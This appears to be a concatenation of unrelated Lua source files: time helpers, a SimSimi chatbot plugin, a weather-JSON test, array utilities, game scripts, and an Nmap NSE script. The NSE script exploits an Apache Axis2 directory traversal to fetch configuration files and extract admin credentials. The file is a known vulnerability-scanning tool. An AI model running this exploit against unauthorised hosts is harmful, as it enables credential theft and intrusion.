return formatTimeString( hours, "h" ) .. " " .. formatTimeString( minutes - hours * 60, "m" ), seconds
end
local days = math.floor( hours / 24 )
return formatTimeString( days, "day" ), seconds
end
function formatTimeString( time, unit )
if time == 0 then
return ""
end
if unit == "day" or unit == "hour" or unit == "minute" or unit == "second" then
return time .. " " .. unit .. ( time ~= 1 and "s" or "" )
else
return time .. "" .. unit-- .. ( time ~= 1 and "s" or "" )
end
end
function minutesToDays(minutes)
local oneDay = minutes*60*24
return math.floor(minutes/oneDay)
end
function formatSeconds(seconds)
if type( seconds ) ~= "number" then
return seconds
end
if seconds <= 0 then
return "Now"
end
if seconds < 60 then
return formatTimeString( seconds, "second" )
end
local minutes = math.floor( seconds / 60 )
if minutes < 60 then
return formatTimeString( minutes, "minute" ) .. " " .. formatTimeString( seconds - minutes * 60, "second" )
end
local hours = math.floor( minutes / 60 )
if hours < 48 then
return formatTimeString( hours, "hour" ) .. " " .. formatTimeString( minutes - hours * 60, "minute" )
end
local days = math.floor( hours / 24 )
return formatTimeString( days, "day" )
end
function isLeapYear(year)
return year%4==0 and (year%100~=0 or year%400==0)
end
function getTimestamp(year, month, day, hour, minute, second)
-- initiate variables
local monthseconds = { 2678400, 2419200, 2678400, 2592000, 2678400, 2592000, 2678400, 2678400, 2592000, 2678400, 2592000, 2678400 }
local timestamp = 0
local datetime = getRealTime()
year, month, day = year or datetime.year + 1900, month or datetime.month + 1, day or datetime.monthday
hour, minute, second = hour or datetime.hour, minute or datetime.minute, second or datetime.second
-- calculate timestamp
for i=1970, year-1 do timestamp = timestamp + (isLeapYear(i) and 31622400 or 31536000) end
for i=1, month-1 do timestamp = timestamp + ((isLeapYear(year) and i == 2) and 2505600 or monthseconds[i]) end
timestamp = timestamp + 86400 * (day - 1) + 3600 * hour + 60 * minute + second
timestamp = timestamp - 3600 --GMT+1 compensation
if datetime.isdst then timestamp = timestamp - 3600 end
return timestamp
end
function datetimeToTimestamp(datetime)
--Converts a datetime string (YYYY-MM-DD HH:MM:SS) to UNIX timestamp
local pattern = "(%d+)-(%d+)-(%d+) (%d+):(%d+):(%d+)"
local year, month, day, hour, minute, seconds = datetime:match(pattern)
return getTimestamp(year, month, day, hour, minute, seconds)
end |
local aa = "-------------------"
local simsimi = {}
local HTTP = require('socket.http')
local URL = require('socket.url')
local JSON = require('dkjson')
local bindings = require('bindings')
function simsimi:init()
if not self.config.simsimi_key then
print('Missing config value: simsimi_key.')
print('chatter.lua will not be enabled.')
return
end
simsimi.triggers = {
'',
'^' .. self.info.first_name .. ',',
'^@' .. self.info.username .. ','
}
end
function simsimi:action(msg)
if msg.text == '' then return end
-- This is awkward, but if you have a better way, please share.
if msg.text_lower:match('^' .. self.info.first_name .. ',')
or msg.text_lower:match('^@' .. self.info.username .. ',') then
elseif msg.text:match('^/') then
return true
-- Uncomment the following line for Al Gore-like reply chatter.
-- elseif msg.reply_to_message and msg.reply_to_message.from.id == bot.id then
elseif msg.from.id == msg.chat.id then
else
return true
end
bindings.sendChatAction(self, msg.chat.id, 'typing')
local input = msg.text_lower
input = input:gsub(self.info.first_name, 'simsimi')
input = input:gsub('@'..self.info.username, 'simsimi')
--local ft = '1.0'
local langer
if self.config.langer then
langer = 'ar'
else
langer = 'en' -- NO English
end
local url = 'http://api.simsimi.com/request.p?key=' ..self.config.simsimi_key.. '&lc=' ..self.config.lang.. '&ft=1.0&text=' .. URL.escape(input)
local jstr, res = HTTP.request(url)
if res ~= 200 then
bindings.sendMessage(self, msg.chat.id, self.config.errors.chatter_connection)
return
end
local jdat = JSON.decode(jstr)
if not jdat.response then
bindings.sendMessage(self, msg.chat.id, self.config.errors.chatter_response)
return
end
local output = jdat.response
if output:match('^I HAVE NO RESPONSE.') then
output = self.config.errors.chatter_response
end
-- Let's clean up the response a little. Capitalization & punctuation.
local filter = {
['%aimi?%aimi?'] = self.info.first_name,
['^%s*(.-)%s*$'] = '%1',
['^%l'] = string.upper,
['USER'] = msg.from.first_name
}
for k,v in pairs(filter) do
output = string.gsub(output, k, v)
end
if not string.match(output, '%p$') then
output = output
elseif not string.match(output, '%p$') then
output = output '' .. ''
end
bindings.sendMessage(self, msg.chat.id, output, true, msg.message_id, false)
print(aa)
print(msg.chat.username or msg.chat.first_name or msg.chat.id)
print(msg.text)
print(output)
print(aa)
end
return simsimi
|
-- Juste un tests pour voir si j'arrive à réduire et extraire à la mano des data d'un un gros JSON
-- Source: https://github.com/nodemcu/nodemcu-firmware/blob/master/lua_examples/sjson-streaming.lua
print("\n a_meteo3-tests.lua zf190306.1757 \n")
function set_json()
zjson=[[
{"city_info":{"name":"Lausanne","country":"Suisse","latitude":"46.5194190","longitude":"6.6337000","elevation":"495","sunrise":"07:06","sunset":"18:24"},"forecast_info":{"latitude":null,"longitude":null,"elevation":"561.0"},"current_condition":{"date":"04.03.2019","hour":"10:00","tmp":6,"wnd_spd":39,"wnd_gust":64,"wnd_dir":"SO","pressure":1006.4,"humidity":96,"condition":"Averses de pluie faible","condition_key":"averses-de-pluie-faible","icon":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible.png","icon_big":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible-big.png"},"fcst_day_0":{"date":"04.03.2019","day_short":"Lun.","day_long":"Lundi","tmin":2,"tmax":8,"condition":"Averses de pluie faible","condition_key":"averses-de-pluie-faible","icon":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible.png","icon_big":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/averses-de-pluie-faible-big.png","hourly_data":{"0H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":3.2,"DPT2m":0.1,"WNDCHILL2m":-0.1,"HUMIDEX":null,"RH2m":80,"PRMSL":1010.3,"APCPsfc":0,"WNDSPD10m":13,"WNDGUST10m":26,"WNDDIR10m":235,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"0.00","MCDC":"33.30","LCDC":"0.00","HGT0C":2500,"KINDEX":41,"CAPE180_0":"0.000","CIN180_0":0},"1H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.5,"DPT2m":-2.5,"WNDCHILL2m":-0.3,"HUMIDEX":null,"RH2m":70,"PRMSL":1009.3,"APCPsfc":0,"WNDSPD10m":10,"WNDGUST10m":20,"WNDDIR10m":229,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"0.00","MCDC":"100.00","LCDC":"0.00","HGT0C":2500,"KINDEX":39,"CAPE180_0":"0.000","CIN180_0":0},"2H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.4,"DPT2m":-3.1,"WNDCHILL2m":-0.4,"HUMIDEX":null,"RH2m":67,"PRMSL":1008.3,"APCPsfc":0,"WNDSPD10m":10,"WNDGUST10m":17,"WNDDIR10m":221,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"18.70","MCDC":"100.00","LCDC":"0.00","HGT0C":2600,"KINDEX":40,"CAPE180_0":"0.000","CIN180_0":0},"3H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.5,"DPT2m":-3.4,"WNDCHILL2m":-0.3,"HUMIDEX":null,"RH2m":65,"PRMSL":1007.1,"APCPsfc":0,"WNDSPD10m":10,"WNDGUST10m":16,"WNDDIR10m":221,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"100.00","MCDC":"99.70","LCDC":"0.00","HGT0C":2600,"KINDEX":40,"CAPE180_0":"0.000","CIN180_0":0},"4H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":2.8,"DPT2m":-2.4,"WNDCHILL2m":-0.4,"HUMIDEX":null,"RH2m":69,"PRMSL":1006,"APCPsfc":0,"WNDSPD10m":12,"WNDGUST10m":19,"WNDDIR10m":233,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"100.00","MCDC":"100.00","LCDC":"0.00","HGT0C":2500,"KINDEX":36,"CAPE180_0":"0.000","CIN180_0":0},"5H00":{"ICON":"https:\/\/www.prevision-meteo.ch\/style\/images\/icon\/nuit-nuageuse.png","CONDITION":"Nuit nuageuse","CONDITION_KEY":"nuit-nuageuse","TMP2m":3.9,"DPT2m":0.2,"WNDCHILL2m":0.7,"HUMIDEX":null,"RH2m":77,"PRMSL":1004.2,"APCPsfc":0,"WNDSPD10m":13,"WNDGUST10m":20,"WNDDIR10m":241,"WNDDIRCARD10":"SO","ISSNOW":0,"HCDC":"100.00","MCDC":"100.00","LCDC":"0.00","HGT0C":2500,"KINDEX":33,"CAPE180_0":"0.000","CIN180_0":0},
]]
end
function zget_json_key()
-- print("zget_json_key entrée...",zjson_stat)
if zjson_stat==1 then
p1=string.find(zjson, [["hourly_data":{]])
if p1~=nil then
print("trouvé le header: ",p1)
zjson=string.sub(zjson,p1)
print(string.sub(zjson,1,100))
print("go go go...")
zjson_stat=2
end
end
if zjson_stat==2 then
-- print("len1: "..string.len(zjson))
zjson_key='"'..zh..'H00":{'
print("zjson_key: "..zjson_key)
p1=string.find(zjson, zjson_key)
print("p1: ",p1)
if p1~=nil then
zjson=string.sub(zjson,p1)
print("zjson: ",string.sub(zjson,1,100))
-- p1,p2=string.find(zjson, '"CONDITION_KEY":"')
p1,p2=string.find(zjson, '"APCPsfc":')
print(p1,p2)
if p1~=nil then
-- p3=string.find(zjson, '","',p2)
p3=string.find(zjson, ',',p2)
print(p3)
if p3~=nil then
zpluie=tonumber(string.sub(zjson,p2+1,p3-1))
print("zpluie: ",zpluie)
-- print("len2: "..string.len(zjson))
if zh >=7 and zh<=13 then
zpluie_am=zpluie_am+zpluie
end
if zh >=13 and zh<=19 then
zpluie_pm=zpluie_pm+zpluie
end
end
end
end
end
-- print("zget_json_key sortie...",zjson_stat)
end
zhmin=7
zhmax=19
zh=zhmin
zpluie_am=0
zpluie_pm=0
zjson_stat=1
zjson=""
function ztoto(c1)
-- print("ztoto entrée...")
if zjson=="" then
zjson=c1
else
zjson=zjson..c1
end
-- print("zh: ",zh,"len(zjson): ",string.len(zjson))
while zh<=zhmax do
zget_json_key()
if p1~=nil then
zh=zh+1
else
print("ouille ouille ouille, pas trouvé...")
if string.len(zjson)>510 then
zjson=string.sub(zjson,string.len(zjson)-500)
end
break
end
end
if zh>zhmax then
zjson=""
end
-- print("ztoto sortie...")
end
--set_json()
--zjson_stat=1
--zget_json_all_keys()
--[[
set_json()
zjson_stat=1
zh=1
zget_json_key()
zh=2
zget_json_key()
set_json()
zjson_stat=1
zh=0
for i=0, 5 do
zget_json_key()
zh=zh+1
end
set_json()
print("len1: "..string.len(zjson))
zjson=string.sub(zjson,string.len(zjson)-500)
print("len2: "..string.len(zjson))
print("zjson1: ",string.sub(zjson,1,100))
]]
|
local creds = require "creds"
local http = require "http"
local io = require "io"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
description = [[
Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by sending a specially crafted request to the parameter <code>xsd</code> (OSVDB-59001). By default it will try to retrieve the configuration file of the Axis2 service <code>'/conf/axis2.xml'</code> using the path <code>'/axis2/services/'</code> to return the username and password of the admin account.
To exploit this vulnerability we need to detect a valid service running on the installation so we extract it from <code>/listServices</code> before exploiting the directory traversal vulnerability.
By default it will retrieve the configuration file, if you wish to retrieve other files you need to set the argument <code>http-axis2-dir-traversal.file</code> correctly to traverse to the file's directory. Ex. <code>../../../../../../../../../etc/issue</code>
To check the version of an Apache Axis2 installation go to:
http://domain/axis2/services/Version/getVersion
Reference:
* http://osvdb.org/show/osvdb/59001
* http://www.exploit-db.com/exploits/12721/
]]
---
-- @usage
-- nmap -p80,8080 --script http-axis2-dir-traversal --script-args 'http-axis2-dir-traversal.file=../../../../../../../etc/issue' <host/ip>
-- nmap -p80 --script http-axis2-dir-traversal <host/ip>
--
-- @output
-- 80/tcp open http syn-ack
-- |_http-axis2-dir-traversal.nse: Admin credentials found -> admin:axis2
--
-- @args http-axis2-dir-traversal.file Remote file to retrieve
-- @args http-axis2-dir-traversal.outfile Output file
-- @args http-axis2-dir-traversal.basepath Basepath to the services page. Default: <code>/axis2/services/</code>
--
-- Other useful arguments for this script:
-- @args http.useragent User Agent used in the GET requests
---
author = "Paulino Calderon <[email protected]>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
--Default configuration values
local DEFAULT_FILE = "../conf/axis2.xml"
local DEFAULT_PATH = "/axis2/services/"
---
--Checks the given URI looks like an Apache Axis2 installation
-- @param host Host table
-- @param port Port table
-- @param path Apache Axis2 Basepath
-- @return True if the string "Available services" is found
local function check_installation(host, port, path)
local req = http.get(host, port, path)
if req.status == 200 and http.response_contains(req, "Available services") then
return true
end
return false
end
---
-- Returns a table with all the available services extracted
-- from the services list page
-- @param body Services list page body
-- @return Table containing the names and paths of the available services
local function get_available_services(body)
local services = {}
for service in string.gmatch(body, '<h4>Service%sDescription%s:%s<font%scolor="black">(.-)</font></h4>') do
table.insert(services, service)
end
return services
end
---
--Writes string to file
--Taken from: hostmap.nse
-- @param filename Filename to write
-- @param contents Content of file
-- @return True if file was written successfully
local function write_file(filename, contents)
local f, err = io.open(filename, "w")
if not f then
return f, err
end
f:write(contents)
f:close()
return true
end
---
-- Extracts Axis2's credentials from the configuration file
-- It also adds them to the credentials library.
-- @param body Configuration file string
-- @return true if credentials are found
-- @return Credentials or error string
---
local function extract_credentials(host, port, body)
local _,_,user = string.find(body, '<parameter name="userName">(.-)</parameter>')
local _,_,pass = string.find(body, '<parameter name="password">(.-)</parameter>')
if user and pass then
local cred_obj = creds.Credentials:new( SCRIPT_NAME, host, port )
cred_obj:add(user, pass, creds.State.VALID )
return true, string.format("Admin credentials found -> %s:%s", user, pass)
end
return false, "Credentials were not found."
end
action = function(host, port)
local outfile = stdnse.get_script_args("http-axis2-dir-traversal.outfile")
local rfile = stdnse.get_script_args("http-axis2-dir-traversal.file") or DEFAULT_FILE
local basepath = stdnse.get_script_args("http-axis2-dir-traversal.basepath") or DEFAULT_PATH
local selected_service, output
--check this is an axis2 installation
if not(check_installation(host, port, basepath.."listServices")) then
stdnse.print_debug(1, "%s: This does not look like an Apache Axis2 installation.", SCRIPT_NAME)
return
end
output = {}
--process list of available services
local req = http.get( host, port, basepath.."listServices")
local services = get_available_services(req.body)
--generate debug info for services and select first one to be used in the request
if #services > 0 then
for _, servname in pairs(services) do
stdnse.print_debug(1, "%s: Service found: %s", SCRIPT_NAME, servname)
end
selected_service = services[1]
else
if nmap.verbosity() >= 2 then
stdnse.print_debug(1, "%s: There are no services available. We can't exploit this", SCRIPT_NAME)
end
return
end
--Use selected service and exploit
stdnse.print_debug(1, "%s: Querying service: %s", SCRIPT_NAME, selected_service)
req = http.get(host, port, basepath..selected_service.."?xsd="..rfile)
stdnse.print_debug(2, "%s: Query -> %s", SCRIPT_NAME, basepath..selected_service.."?xsd="..rfile)
--response came back
if req.status and req.status == 200 then
--if body is empty something wrong could have happened...
if string.len(req.body) <= 0 then
if nmap.verbosity() >= 2 then
stdnse.print_debug(1, "%s:Response was empty. The file does not exists or the web server does not have sufficient permissions", SCRIPT_NAME)
end
return
end
output[#output+1] = "\nApache Axis2 Directory Traversal (OSVDB-59001)"
--Retrieve file or only show credentials if downloading the configuration file
if rfile ~= DEFAULT_FILE then
output[#output+1] = req.body
else
--try to extract credentials
local extract_st, extract_msg = extract_credentials(host, port, req.body)
if extract_st then
output[#output+1] = extract_msg
else
stdnse.print_debug(1, "%s: Credentials not found in configuration file", SCRIPT_NAME)
end
end
--save to file if selected
if outfile then
local status, err = write_file(outfile, req.body)
if status then
output[#output+1] = string.format("%s saved to %s\n", rfile, outfile)
else
output[#output+1] = string.format("Error saving %s to %s: %s\n", rfile, outfile, err)
end
end
else
stdnse.print_debug(1, "%s: Request did not return status 200. File might not be found or unreadable", SCRIPT_NAME)
return
end
if #output > 0 then
return stdnse.strjoin("\n", output)
end
end
|
local M = {};
-- ver 1.0
local function Sign(x)
if x > 0 then
return 1;
elseif x < 0 then
return -1;
else
return 0;
end;
end;
-- длина массива, начиная с 0 индекса
local function Length(array)
local length = 0;
while array[length] ~= nil do
length = length + 1;
end;
return length;
end;
-- длина массива, начиная с 1 индекса
local function Length1(array)
local length = 0;
while array[length + 1] ~= nil do
length = length + 1;
end;
return length;
end;
-- объединение двух массивов
local function Unif(array1, array2)
local i;
local start = Length(array1);
if Length(array2) > 0 then
for i = 0, Length(array2) - 1, 1 do
array1[start + i] = array2[i];
end;
end;
end;
-- удаление элемента из массива
local function ArrayDeleteElement(array, element)
local i;
if element == Length(array) - 1 then
array[element] = nil;
return;
end;
for i = element, Length(array) - 2, 1 do
array[i] = array[i + 1];
end;
array[Length(array) - 1] = nil;
end;
-- переместить элемент массива в новую позицию, элементы между новой и старой позициями сдвигаются в сторону старой позиции
local function ArrayMoveElement(array, oldPos, newPos)
local temp = array[oldPos];
local i;
if newPos ~= oldPos then
for i = oldPos, newPos - Sign(newPos - oldPos), Sign(newPos - oldPos) do
array[i] = array[i + Sign(newPos - oldPos)];
end;
array[newPos] = temp;
end;
end;
-- развернуть порядок элементов массива задом наперед. Индексация должна начинаться с 0
local function ArrayReverse(array)
local newArray = {};
local i;
if array == nil then
return nil;
end;
for i = 0, Length(array) - 1, 1 do
newArray[i] = array[Length(array) - 1 - i];
end;
return newArray;
end;
-- проверить существование элемента двумерного массива
local function Array2DHaveElement(array, m, n)
if array ~= nil then
if array[m] ~= nil then
if array[m][n] ~= nil then
return true;
else
return false;
end;
else
return false;
end;
else
return false;
end;
end;
-- проверить существование элемента двумерного массива
local function Array2DElement(array, m, n)
if array ~= nil then
if array[m] ~= nil then
if array[m][n] ~= nil then
return array[m][n];
else
return nil;
end;
else
return nil;
end;
else
return nil;
end;
end;
-- возведение в степень
local function Power(num, power)
local i;
local result = 1;
for i = 0, power - 1, 1 do
result = result * num;
end;
end;
-- конструктор точки
local function Point(x, y)
local point = {};
point.x = x;
point.y = y;
return point;
end;
-- конструктор двумерного массива. Заполняет все ячейки значением value (например можно все заполнить нулями)
local function Array2D(width, height, value)
local i;
local j;
local array;
array = {};
for i = 1, width, 1 do
array[i] = {};
for j = 1, height, 1 do
array[i][j] = value;
end;
end;
return array;
end;
local function RecordDelete(record)
local k, v;
if type(record) == "table" then
for k, v in pairs(record) do
RecordDelete(record[k]);
end;
end;
record = nil;
end;
local function RecordCopy(RecordFrom)
local k, v;
if type(RecordFrom) == "table" then
local temp = {};
for k, v in pairs(RecordFrom) do
temp[k] = RecordCopy(RecordFrom[k]);
end;
return temp;
else
return RecordFrom;
end;
end;
local function VectorLength(x1, y1, x2, y2)
return math.sqrt(math.pow(x1 - x2, 2) + math.pow(y1 - y2, 2));
end;
local function VectorDirection(x1, y1, x2, y2)
local dir = math.acos((x2 - x1) / math.sqrt(math.pow(x1 - x2, 2) + math.pow(y1 - y2, 2)));
if (y2 > y1) then
dir = math.pi * 2 - dir;
end;
-- было в радианах. Стало в градусах
dir = dir * 180 / math.pi - 90;
return dir;
end;
-- Возвращает x, y
local function VectorXY(length, dir)
local dir2;
dir2 = (dir + 90) / 180 * math.pi;
return (-(length * math.cos(math.pi - dir2))), (-(length * math.sin(math.pi - dir2)));
end;
M.Sign = Sign;
M.Length = Length;
M.Length1 = Length1;
M.Unif = Unif;
M.ArrayDeleteElement = ArrayDeleteElement;
M.ArrayMoveElement = ArrayMoveElement;
M.ArrayReverse = ArrayReverse;
M.Array2DHaveElement = Array2DHaveElement;
M.Array2DElement = Array2DHaveElement;
M.Power = Power;
M.Point = Point;
M.Array2D = Array2D;
M.RecordDelete = RecordDelete;
M.RecordCopy = RecordCopy;
M.VectorLength = VectorLength;
M.VectorDirection = VectorDirection;
M.VectorXY = VectorXY;
return M; |
function out(player)
setElementPosition (source, 1575.95, -1329.55, 16.48)
setElementDimension (source, 0)
end
addEvent ("warpOut", true)
addEventHandler ("warpOut", getRootElement(), out)
function enter(player)
setElementPosition (source, 1547.06, -1366.3, 326.21)
setElementDimension (source, 0)
end
addEvent ("warpIn", true)
addEventHandler ("warpIn", getRootElement(), enter)
function buy()
if getPlayerMoney(source) >= 8000 then
giveWeapon (source, 46,0)
exports.NGCdxmsg:createNewDxMessage("You have bought a parachute", source, 0, 255, 0)
exports.AURpayments:takeMoney(source,8000,"AUR Parachute")
end
end
addEvent ("buyPara", true)
addEventHandler ("buyPara", getRootElement(), buy)
function armor()
if getPlayerMoney(source) >= 15000 then
setPedArmor(source, 100)
exports.NGCdxmsg:createNewDxMessage("You have bought an armor", source, 0, 255, 0)
exports.AURpayments:takeMoney(source,15000,"AUR Armor")
end
end
addEvent ("buyArm", true)
addEventHandler ("buyArm", getRootElement(), armor) |
return function(vars, args)
-- a/s/d/f
return vars.read(args[1])
end
|
--[[
## Space Station 8 `scene-game.lua`
Learn more about making Pixel Vision 8 games at http://docs.pixelvision8.com
]]--
-- The game scene needs to load a few dependent scripts first.
require "micro-platformer"
require "entities"
require "entity-player"
require "entity-enemy"
-- We need to create a table to store all of the scene's functions.
GameScene = {}
GameScene.__index = GameScene
-- This create a new instance of the game scene
function GameScene:Init()
-- These should use a timer instead
QUIT_TIMER, RESPAWN_TIMER, GAME_OVER_TIMER, WIN_GAME = 2, 1, 4, 4
-- Now we can define some constants that respresent the points of specific items or actives in the game.
STEP_POINT, KEY_POINT, GEM_POINT, EXIT_POINT = 10, 50, 100, 500
EMPTY, SOLID, PLATFORM, DOOR_OPEN, DOOR_LOCKED, ENEMY, SPIKE, SWITCH_OFF, SWITCH_ON, LADDER, PLAYER, KEY, GEM = -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11
--
local _game = {
totalInstances = 0,
maxAir = 100,
air = 100,
airLoss = 4,
maxLives = 3,
flagMap = {},
microPlatformer = MicroPlatformer:Init(),
-- TODO Replace with timer
startTimer = -1,
startDelay = 1000,
}
local sprite = NewMetaSprite("o2-bar", {35, 37, 37, 37, 37, 37}, 6)
sprite.AddSprite(36, 8, 0)
sprite.AddSprite(36, 5 * SpriteSize().X, 0, true)
setmetatable(_game, GameScene) -- make Account handle lookup
_game:RegisterFlags()
return _game
end
-- Since we manually loaded up the tilemap and are not using a tilemap flag file we need to register the flags manually. We'll do this by creating a list of meta sprites and the flags that should be associate with each of their sprites.
function GameScene:RegisterFlags()
-- First, we need to build a lookup table for all of the flags. We'll do this by getting the meta sprite's children sprites and associating them with a particular flag. We'll create a nested table that contains arrays. Each array will have an array of sprite ids and a flag id. The final items in the table will be structured as `{sprites, flag}` so when we loop through this later, we can access the sprite array at position `1` and the associated flag at index `2`.
local spriteMap = {
{"solid", SOLID},
{"platform", PLATFORM},
{"door-open", DOOR_OPEN},
{"door-locked", DOOR_LOCKED},
{"enemy", ENEMY},
{"spike", SPIKE},
{"switch-off", SWITCH_OFF},
{"switch-on", SWITCH_ON},
{"ladder", LADDER},
{"player", PLAYER},
{"key", KEY},
{"gem", GEM},
}
-- Now we can loop through the sprite names and create a flag lookup table for each of the sprites.
for i = 1, #spriteMap do
-- Since we know that each nested array looks like `{sprites, flag}` we can access the sprite array at position `1` and the associated flag at index `2`. Setting these two variables at the top of the loop just makes it easier to access them.
local spriteName = spriteMap[i][1]
local flag = spriteMap[i][2]
-- Now we need to get all the sprites associated with the meta sprite's name by calling the `MetaSprite()` API.
local sprites = MetaSprite(spriteName).Sprites
-- Calling the `MetaSprite()` API returns a sprite collection. There are several properties and functions that can be called on the sprite collection. The most important one is the `Sprites` property which returns an array of all the sprites in the collection. Each item in the array is a `SpriteData` object which has an `Id` property we can use to determine which sprite in the collection should be associated with the flag.
-- We'll loop through the flags and create a new array for each flag.
for j = 1, #sprites do
self.flagMap[sprites[j].Id] = flag
end
end
end
function GameScene:Reset()
self.lives = self.maxLives
self:RestartLevel()
end
function GameScene:RedrawUI()
ClearTitle()
ClearMessage()
self.title = MessageBuilder(
{
{"PLAYING ", 2},
{mapLoader:GetMapName(), 3}
}
)
self.message = MessageBuilder(
{
{" SCORE", 2}
}
)
DisplayTitle(self.title, -1)
DisplayMessage(self.message, -1)
DrawMetaSprite("o2-bar", 7 * 8, Display().Y - SpriteSize().Y, false, false, DrawMode.TilemapCache)
end
function GameScene:RestartLevel()
self.microPlatformer:Reset()
-- Reset everything to default values
self.atDoor = false
self.startTimer = -1
self.air = self.maxAir + 10
-- Reset the score
self.score = 0
self.scoreDisplay = -1
-- Reset the key flag
self.unlockExit = false
-- Create UI
-- DrawRect(0, 0, Display().X, 7, 0)
DrawRect(0, Display().Y - 8, Display().X, 8, 2)
-- Clear old instances
-- self.instances = {}
-- self.totalInstances = 0
self.originalSprites = {}
local total = TilemapSize().C * (TilemapSize().R - 2)
-- We need to keep track of some flag while we iterate over all of the tiles in the map. These flags will keep track of the three main things each level needs, a player, a key, and a door.
local foundPlayer = false
local foundDoor = false
local foundKey = false
-- If we don't fine all of these the map can not be played. So we need to make sure we have all of them after we are done looping through the tiles and kick the player back to the previous screen so the game doesn't throw an error.
-- Loop through all of the tiles
for i = 1, total do
local pos = CalculatePosition(i-1, TilemapSize().C)
local tile = Tile(pos.X, pos.Y)
local spriteId = tile.SpriteId--tilemapData.SpriteIds.Pixels[i]
-- Save the sprite Id so we can restore it before going back to the editor
table.insert(self.originalSprites, spriteId)
local flag = -1
-- See if the sprite is mapped to a tile
if(self.flagMap[spriteId] ~= nil) then
-- Set the flag on the tile
flag = self.flagMap[spriteId]
-- Convert the x and y to pixels
local x = pos.X * 8
local y = pos.Y * 8
-- solid
if(flag == SOLID) then
-- falling-platform
elseif(flag == PLATFORM ) then
-- door-open or door-locked
elseif(flag == DOOR_OPEN or flag == DOOR_LOCKED) then
if(foundDoor == false) then
foundDoor = true
-- Change the door to locked
spriteId = MetaSprite("door-locked").Sprites[1].Id
-- Lock the door
flag = DOOR_LOCKED
-- Save the door tile to unlock when the key is found
self.doorTile = NewPoint(x, y)
else
-- Remove any other door sprite from the map
spriteId = -1
end
-- enemy
elseif(flag == ENEMY ) then
local flip = Tile(pos.X, pos.Y).SpriteId ~= MetaSprite("enemy").Sprites[1].Id
self.microPlatformer:AddEntity(Enemy:Init(x, y, flip))
-- Remove any enemy sprites from the map
spriteId = -1
flag = -1
-- player
elseif(flag == PLAYER ) then
if(foundPlayer == false) then
local flip = Tile(pos.X, pos.Y).SpriteId ~= MetaSprite("player").Sprites[1].Id
self.playerEntity = Player:Init(x, y, flip)
self.microPlatformer:AddEntity(self.playerEntity)
foundPlayer = true
self.invalidateLives = true
end
-- Remove any player sprites from the map
spriteId = -1
flag = -1
-- key
elseif(flag == KEY ) then
self.invalidateKey = true
foundKey = true
end
end
Tile(pos.X, pos.Y, spriteId, 0, flag)
end
if(foundPlayer == false or foundDoor == false or foundKey == false) then
self:ReturnToEditor()
return
end
self:RedrawUI()
end
function GameScene:Update(timeDelta)
local td = timeDelta/1000
if(Button(Buttons.Select, InputState.Down) and self.startTimer == -1) then
self.startTimer = 0
self.startCount = QUIT_TIMER
elseif(Button(Buttons.Select, InputState.Released)) then
-- Reset
self.startTimer = -1
-- self.startCount = QUIT_TIMER
end
if(self.startTimer ~= -1) then
self.startTimer = self.startTimer + timeDelta
if(self.startTimer > self.startDelay) then
self.startTimer = 0
if(self.startCount > 0) then
self.startCount = self.startCount - 1
else
if(Button(Buttons.Select, InputState.Down) == true or self.lives < 0 or self.atDoor == true) then
self:ReturnToEditor()
else
self:RestoreTilemap()
self:RestartLevel()
self.startTimer = -1
end
end
end
end
-- local starCount = stars
local wasAlive = self.playerEntity.alive
-- Update the player logic first so we always have the correct player x and y pos
self.microPlatformer:Update(td)
-- Check for collisions
if(self.playerEntity.keyCollected and self.unlockExit == false) then
self.unlockExit = true
self.invalidateKey = true
-- Clear the tile the player is currently in
self:ClearTileAt(self.playerEntity.center)
self:ClearTileAt(self.doorTile, MetaSprite("door-open").Sprites[1].Id, DOOR_OPEN)
self:IncreaseScore(KEY_POINT)
elseif(self.playerEntity.collectedGem == true) then
self:IncreaseScore(GEM_POINT)
self.playerEntity.collectedGem = false
self:ClearTileAt(self.playerEntity.center)
elseif(self.playerEntity.currentFlag == DOOR_OPEN and self.atDoor == false) then
self.atDoor = true
-- TODO exit level
self.startTimer = 0
self.startCount = WIN_GAME
self:IncreaseScore(EXIT_POINT)
end
if(self.atDoor == false and self.playerEntity.alive == true) then
self.air = self.air - (self.airLoss * td)
if(self.air <= 0) then
self.playerEntity.alive = false
end
end
if(self.playerEntity.alive == false) then
if(wasAlive == true) then
self.startTimer = 0
-- self.startCount = self.startCounts
self.lives = self.lives - 1
self.invalidateLives = true
if(self.lives >= 0) then
self.startCount = RESPAWN_TIMER
else
self.startCount = GAME_OVER_TIMER
end
end
elseif(self.atDoor == false) then
self:IncreaseScore(STEP_POINT * td)
end
local percent = (self.air/ self.maxAir)
if(percent > 1) then
percent = 1
elseif(percent < 0) then
percent = 0
end
DrawRect((8 * 8) + 2, Display().Y - 6, 36 * percent, 3, BackgroundColor(), DrawMode.Sprite)
-- Update score
